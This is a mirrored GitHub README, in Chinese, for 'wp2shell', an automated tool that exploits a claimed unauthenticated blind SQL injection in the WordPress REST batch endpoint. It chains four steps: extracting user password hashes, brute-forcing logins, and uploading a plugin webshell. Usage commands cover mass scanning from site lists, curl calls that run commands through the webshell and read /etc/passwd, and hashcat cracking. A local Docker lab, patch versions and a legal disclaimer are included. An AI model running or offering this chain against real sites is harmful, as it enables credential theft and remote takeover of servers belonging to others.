0xWhoknows/wp2shell

GitHub: 0xWhoknows/wp2shell

一款针对 WordPress REST API 盲注漏洞的自动化利用链工具,实现从漏洞探测到 Webshell 部署的全流程攻击自动化。

Stars: 1 | Forks: 0

# wp2shell WordPress REST 批量路由混乱盲注 SQLi —— 自动化漏洞利用链。 **CVE-2026-63030 / CVE-2026-60137** | | | |---|---| | 受影响版本 | WordPress 6.9.0 – 6.9.4 和 7.0.0 – 7.0.1 | | 已修复版本 | WordPress 6.9.5 / 7.0.2 | | 注入点 | 通过 desync 的 `author_exclude` 参数触发的 `author__not_in` SQL | | 身份验证要求 | 无(无需身份验证的 SQLi) | ## 工作原理 WordPress REST API 批量端点 (`/wp-json/batch/v1`) 允许嵌套批量请求。双重嵌套的 desync payload 会改变内部的 `$matches` / `$validation` 数组,将精心构造的 `author_exclude` 值在未经清理的情况下直接路由到 `author__not_in` SQL 中。这就产生了无需身份验证的基于布尔的盲注和基于时间的盲注 SQLi。 **漏洞利用链 —— 4 个阶段:** ``` Phase 1 Vulnerability check batch marker probe + optional SQL timing Phase 2 Hash harvest blind SQLi extracts wp_users (login + hash) Phase 3 Authentication wordlist attack via wp-login.php Phase 4 Webshell deployment plugin ZIP upload -> RCE verify ``` ## 环境要求 - Python 3.8+ - `aiohttp` - `colorama` ``` pip install aiohttp colorama ``` ## 使用方法 **单个目标** ``` python wp2shell.py http://target.com ``` **站点列表(每行一个 URL)** ``` python wp2shell.py sites.txt ``` **站点列表 + 自定义密码文件** ``` python wp2shell.py sites.txt -p pass.txt ``` **已知凭据(跳过字典)** ``` python wp2shell.py http://target.com --user admin --password admin123 ``` **通过时间盲注确认 SQLi** ``` python wp2shell.py http://target.com --confirm-sqli ``` **无伪静态链接** ``` python wp2shell.py http://target.com --rest-route ``` **通过 Burp 代理** ``` python wp2shell.py http://target.com --proxy http://127.0.0.1:8080 ``` ## 选项 | 参数 | 默认值 | 描述 | |---|---|---| | `target` | — | URL (`http://target`) 或站点列表文件路径 | | `-p FILE` | — | 密码列表文件(每行一个) | | `--user` | — | 跳过字典,使用此用户名 | | `--password` | — | 跳过字典,使用此密码 | | `--confirm-sqli` | off | 在标记检查后发送主动的 SQL 时间探测 | | `--rest-route` | off | 使用 `/?rest_route=/batch/v1`(无伪静态链接) | | `--sleep N` | `3.0` | SQL `SLEEP()` 延迟(秒) | | `--samples N` | `3` | 用于计算中位数的时间样本对数 | | `--timeout N` | `30.0` | HTTP 请求超时时间 | | `--prefix PREFIX` | `wp_` | 数据库表前缀 | | `--proxy URL` | — | HTTP/HTTPS 代理 | ## 输出文件 | 文件 | 内容 | |---|---| | `creds.txt` | `http://target=>user:pass`(若破解则为明文,否则为哈希值) | | `webshell.txt` | 存活的 webshell URL | | `VULNERABLE.txt` | 所有在阶段 1 中确认存在漏洞的目标 | 所有文件均为追加写入 —— 结果会在多次运行中累积。 **使用 webshell** —— 在 `webshell.txt` 中的 URL 后附加 `?cmd=COMMAND`: ``` # browser http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id # curl curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id" curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd" ``` ## 离线破解 如果字典未能命中,`creds.txt` 将包含提取出的哈希值: ``` hashcat -m 400 creds.txt wordlist.txt ``` 随后使用破解出的密码重新运行: ``` python wp2shell.py http://target.com --user admin --password ``` ## 本地实验环境 (Docker) 启动一个存在漏洞的 WordPress 7.0.1 实例,以便进行安全的本地测试。 **首次运行 —— 构建数据卷并安装 WordPress:** ``` docker compose up -d db wordpress docker compose run --rm wpcli ``` **后续启动:** ``` docker compose up -d db wordpress ``` **停止:** ``` docker compose down ``` **完全重置(清除所有数据):** ``` docker compose down -v ``` | | | |---|---| | URL | http://localhost:8080 | | 管理员 | `admin` / `admin123` | | MySQL 主机 | `db` | | MySQL 用户/密码 | `wpuser` / `wppass` | | 数据库 | `wordpress` | **针对该实验环境运行漏洞利用:** ``` python wp2shell.py http://localhost:8080 ``` ## 补丁修复 更新至 WordPress **6.9.5** 或 **7.0.2**。该修复在分发嵌套请求之前验证批量路由,从而防止导致 SQL 注入点暴露的 desync 问题。 ## 法律声明 仅限在您拥有或获得明确书面授权进行测试的系统上使用。未经授权的使用是违法行为。</div><div><strong>标签:</strong>CISA项目, Python, 无后门, 无服务器架构, 请求拦截, 逆向工具</div></article></div> <!-- 人机验证 --> <script> (function () { var base = (document.querySelector('base') && document.querySelector('base').getAttribute('href')) || ''; var path = base.replace(/\/?$/, '') + '/cap-wasm/cap_wasm.min.js'; window.CAP_CUSTOM_WASM_URL = new URL(path, window.location.href).href; })(); </script> </body> </html>